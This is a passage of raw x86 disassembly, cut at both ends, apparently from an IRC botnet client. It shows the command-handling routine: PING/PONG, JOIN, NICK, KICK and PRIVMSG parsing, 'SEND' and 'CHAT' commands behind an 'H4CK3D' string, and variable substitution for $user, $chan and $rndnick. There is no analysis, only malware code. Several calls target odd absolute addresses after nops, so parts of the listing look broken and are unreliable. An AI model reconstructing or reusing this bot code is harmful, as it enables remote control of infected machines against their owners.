-0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDD4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDD0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDCC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD60 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CD0C jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCEC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCD0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC90 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC84 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB898 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC68 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC60 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC48 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j call near ptr 26808B7h nop push eax push offset unk_42CC0C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBC8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CBA0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j call near ptr 26808B7h nop push eax push offset unk_42CB68 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB38 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CB04 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aH4ck3d ; "H4CK3D" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset asc_42CAF8 ; "l" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCD8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294D0, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DBA0 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDD4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBB8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DBA0[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAB8 ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDD0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: 